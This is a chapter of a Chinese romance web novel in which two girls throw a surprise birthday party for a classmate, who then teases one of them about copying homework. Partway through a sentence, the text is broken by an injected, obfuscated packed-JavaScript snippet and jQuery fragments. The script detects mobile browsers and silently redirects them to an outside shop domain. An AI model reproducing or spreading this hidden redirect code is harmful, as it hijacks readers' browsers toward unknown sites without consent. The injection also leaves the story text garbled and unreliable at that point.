谁敢抄周斯忆家?

    周时微难过的往她们身边一坐,然后将前后经过都吐了出来,最后还伤心的哭了好一会。

    而林晗跟沈婵则从最开始的猎奇,到后来的离谱,再到窝火,最后就剩了同情。

    两人对视了眼,林晗安抚地拍了拍周时微的背,“那周斯忆这会去哪了?”

    周时微摘下眼镜用手指擦了擦镜片,带着浓重的鼻音说:“不知道,大概率去找房子了。”

    沈婵抽纸给她,“用这个,房子一时半会的应该也很难找吧?”

    “还要看位置和环境,两天确实有点赶,明天又要上学。”

    搞了这么一出,现在住都快没地方住住了,就更别说生日饭,这一天对周斯忆来说可能糟糕到无法用语言描述。

    林晗看了一会垂头丧气的周时微,“房子的事情不好说,不过生日其实还可以补过的。”

    周时微抬起红肿的眼看她,“啊?”

    沈婵嘲笑她,“你别添乱了,这会还哪有心思过生日啊,来点实际的更妥当。”

    “怎么了嘛!”林晗不以为意,“生活不如意,还不能自己找点开心事啊,已经这么难受了干嘛非得钻在这个牛角里。”

    沈婵摆手,一脸随你去死的表情。

    林晗是个很有行动力的人,当下跑回家去拿平板,然后带着周时微跑商都买装饰用品,最后又去烘焙店买了一个四寸小蛋糕。

    周时微提醒她说:“我哥不爱吃这个,他会嫌浪费。”

    “他嫌归他嫌呗,我就买了,你开不开心吗?”

    蛋糕很漂亮,上面铺满了水果还有可爱的装饰。

    周时微没吃过这样的蛋糕,只是看着都让人心情愉悦,她笑眯眯地点了点头。

    林晗说:“这就对了,他不吃就不吃,咱们俩吃。”

    东西买完直接回了家,沈婵本来也要来的,奈何突然长辈生病入院,临时跟她爸妈跑医院去了。

    她们买了一堆气球和几个礼花。

    房子都要还回去了,自然不可能装饰在墙上,林晗找出视频跟周时微一起做气球花束。

    晚饭就中午的冷菜热了下勉强解决。

    九点多的时候林晗让周时微去消息打探一下看他什么时候回来。

    周斯忆回复半小时后到家。

    -

    林晗一边拧气球一边点头,“可以可以,时间来得及。”

    周时微说:“林晗姐,已经很晚了,今天你别回去了跟我睡吧。”

    “你哥要骂我的。”周斯忆心中自己有几斤几两她还能不知道吗?

    “不会的,这么晚了回去多不安全,反正你书包也拿过来了,新的小裤和袜子我也有。”

    这么一说好像是这样,要么摸个虎须试试?

    林晗犹豫着点头,“行吧,但你哥要稍微有点那个苗头,我就马上走。”

    周时微保证,“不会的。”

    气球花束上缠好灯串,平板屏幕调出生日特效,两人躲在门后等待。

    外面很快传来动静,等大门被推开。

    她们猛地从门口窜出,平板上的生日祝福歌响起,礼花崩的满天飞。

    周斯忆少有的被吓到,错愕的瞪着她们。

    林晗跟周时微对视一眼,站他跟前硬着头皮晃啊晃的把生日歌给唱完。

    灯串漂亮的光晕里,女孩脸上的笑容甜美又真诚,五彩碎纸洋洋洒洒飘落,停留在发梢肩头。

    周时微把花束塞到他手中,“哥哥,生日快乐,这是林晗跟我亲手做的,做了一下午。”

    气球花束很大,比半个人都大,周斯忆一只手都抱不拢。

    很轻很软,还有很重的橡胶味,但是又有什么好像充盈了心脏,让今天的不愉快很轻易的消减下去。

    周斯忆看着林晗,很认真地说了谢谢。

    这态度让林晗有点受宠若惊,反过来又有点莫名尴尬,她干笑两声:“没事没事,其实也没做什么。”

    家里有个汤锅,新鲜食材也有,最后弄了一锅大杂烩,里面还放了几块面饼。

    汤锅端上来,蛋糕也跟着登场,

    周时微乐滋滋插上蜡烛划火柴点燃。

    随后两人都看向周斯忆,周时微说:“难得有这氛围快许个愿。”

    周斯忆无动于衷,“我没什么愿望。”

    是他会说的话,林晗一点都不意外。

    她盯着那点火光,以前问她这个问题,答案永远跟岑辰有关,每一次的期待和悸动都跟这个人有关。

    现在再来问的话……

    林晗很轻的嘟囔了一句。

    周斯忆敏锐捕捉到,“你说什么?”

    林晗说:“这愿望要是给我的话,我希望天天能有作业抄。”

    周时微倏地瞪大眼,关于这一点她太能共情林晗了,再想到她这么努力到现在还没抄到周斯忆的作业,再加之明天就是周一,下午还在抱怨作业多,她有心想给林晗拉拉分,让周斯忆干点人事。

    结果下一秒便听见周斯忆说:“这么说的话,我好像也有愿望了。”

    周时微惊讶:“什么愿望啊?”

    周斯忆看着林晗,微弱的火光里他的脸上带着一丝类似玩味的表情,“我希望她永远没有作业可抄。”

    “……”

    周时微第一时间叫起来:“哥,你这太过分了,哪有这样子的。”

    “说错了吗?抄作业难道很长脸?你俩都一样,最好别让我逮到。”

    “……”

    这对吗?

    这不对吧?

    林晗感觉自己的世界要塌了。

    她就是纯好心过来给周斯忆过生日,想着多刷刷好感,未来可以好办事。

    怎么直接演变成给自己找了个教导主任?

    到底哪一步环节出了问题?

    林晗跟周时微同时沉默下来。

    周斯忆拿小碗装好吃的推到她们面前,“吃吧。”

    林晗勉强咧嘴,“谢谢。”

    周时微想起还有个东西没送出去,跑卧室去找出来递给他,“林晗给你买的,这会正好人都在。”

    周斯忆接过当场拆开看。

    林晗包着一嘴的面含糊不清地说:“我也是第一次买这种东西,你将就着用。”

    他点头,“挺好的。”

    周时微往嘴里塞了块火腿肠,“哥,林晗今晚能睡我们家吗?太晚了回去不安全,让她跟我睡。”

    周斯忆“嗯”了声,“随你们。”

    吃完东西,收拾完残局,周时微先跑卫生间去洗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17687824|207744||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    漱。

    周斯忆擦着手出来,抬头看见林晗眼巴巴瞧着自己,“有事?”

    “你房子找到了吗?”

    周斯忆跑了一天,并没有什么太大收获,明后天就要把住所给解决掉,不是容易的事情。

    见他不说话,林晗把自己带的平板递出去,“你先网上查查房源,挑几个合适的去看看再做决定。”

    周斯忆擦干手指,纸巾丢进垃圾桶,转手接过她的平板。

    “过几天还你。”

    林晗笑了下,“没事,你随便用。”

    这边没有无线,连的是林晗的热点,她没让周斯忆退出来,她流量多无所谓。

    到这个地步了,周斯忆不会在这个事情上去争个什么。

    他坐在床沿,随意翻看着网页,一边问林晗:“你这么大费周章的在我身边蹦跶,到底想要什么?”

    这是困扰了周斯忆很久的问题。

    上高中到现在同学一年多,前面一年话都没说一句,这学期突然转了性子往上凑,没点原因实在说不过去。

    他不会自作多情到林晗突然看上了自己。

    但一时又想不出别的原因,这个年龄段的少男少女最是春心萌动的时候,校内男女早恋的比比皆是。

    周斯忆喉结滚动了下,抬眼看对面重复问道:“你到底想要什么?”

    而对林晗来说,这是个表忠心的绝好机会。

    她认真且真诚地说:“我想跟你做好朋友,我想抱你大腿。”

    “……”周斯忆无声地注视她一会,“你再说一遍。”

    林晗也不知道怎么去解释,她仔细想了想,肩膀往下一塌,“我就是觉得你很聪明,未来一定会过得很好,我想先买股做你的狗腿子,等未来你飞黄腾达时记得拉我一把。”

    周斯忆蓦然觉出一股子憋闷,他也不知道自己希望从她嘴里听见什么,但绝不是这些胡说八道。

    跟她对话简直是浪费时间。

    很快两个女孩子结伴回了房,连带剩下半个蛋糕也搬了进去。

    堂屋寂静下来,周斯忆靠在床头翻了很久的房源,挑几个记录下地址和联系方式后将平板放到一侧。

    巨型气球花束靠墙放在床头,手一伸就能碰到,灯串还没关,看得人暖洋洋的。

    他并不知道自己的出生日期,被周时微母亲带回的那天当做了出生,妇人在的时候每年这天会给他煮一碗面,三年前因受不了庞大的债务拖累离开后这碗面也就消失了。

    他在这个破败的家庭里并没有过的很好,没有过快乐,也没有轻松,压抑沉闷是这个家也是自身性格的底色。

    中午陈氏夫妇来闹这一场,他也没有感到生气,只有说不出的烦,就像夏季傍晚浮在空中密密麻麻的昆虫,挥几下很快又会聚拢。

    整个下午到晚上都是这种理不清的厌烦,直到推开这扇大门。

    世界突然变成了光怪陆离的彩色,心情瞬间被洗涤,在错愕中品出点快乐的滋味。

    他又想起林晗乖巧讨好的笑容,在跟前举着平板一摇一摆的晃动,像个可爱的福娃娃。

    伸手,指尖轻轻拨了一下灯串。

    其中一个气球突然爆破,“砰”一声将他拉回现实。

    周斯忆抿了抿唇,最后关灯睡觉。